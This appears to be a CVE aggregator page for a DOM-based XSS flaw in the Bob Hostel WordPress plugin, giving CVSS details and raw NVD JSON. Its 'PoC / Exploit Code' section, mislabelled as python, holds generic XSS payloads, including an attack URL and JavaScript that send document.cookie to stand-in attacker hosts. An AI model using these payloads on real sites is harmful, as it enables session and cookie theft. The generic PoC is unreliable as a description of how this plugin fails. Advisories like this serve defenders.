Security Vulnerability Report
中文
CVE-2023-32120 CVSS 5.9 MEDIUM

CVE-2023-32120

Published: 2025-12-24 13:16:05
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bob Hostel allows DOM-Based XSS.This issue affects Hostel: from n/a through 1.1.5.1.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Bob Hostel WordPress Plugin <= 1.1.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2023-32120 DOM-Based XSS PoC --> <!-- 攻击者构造恶意URL,诱骗高权限用户访问 --> <!-- 恶意Payload示例 --> <script>alert(document.cookie)</script> <!-- 实际利用场景 --> <!-- 攻击者构造包含XSS Payload的URL --> <!-- https://target-site.com/?param=<img src=x onerror=alert(document.domain)> --> <!-- 或通过修改DOM元素的innerHTML触发 --> <!-- 完整的攻击URL示例 --> <!-- https://vulnerable-site.com/hostel-page/?check_in=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> <!-- 窃取Cookie的JavaScript代码 --> var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker-controlled-site.com/log?cookie=' + encodeURIComponent(cookies);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-32120", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:05.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bob Hostel allows DOM-Based XSS.This issue affects Hostel: from n/a through 1.1.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://vdp.patchstack.com/database/wordpress/plugin/hostel/vulnerability/wordpress-hostel-plugin-1-1-5-1-cross-site-scripting-xss?_s_id=cve", "source": "[email protected]"}]}}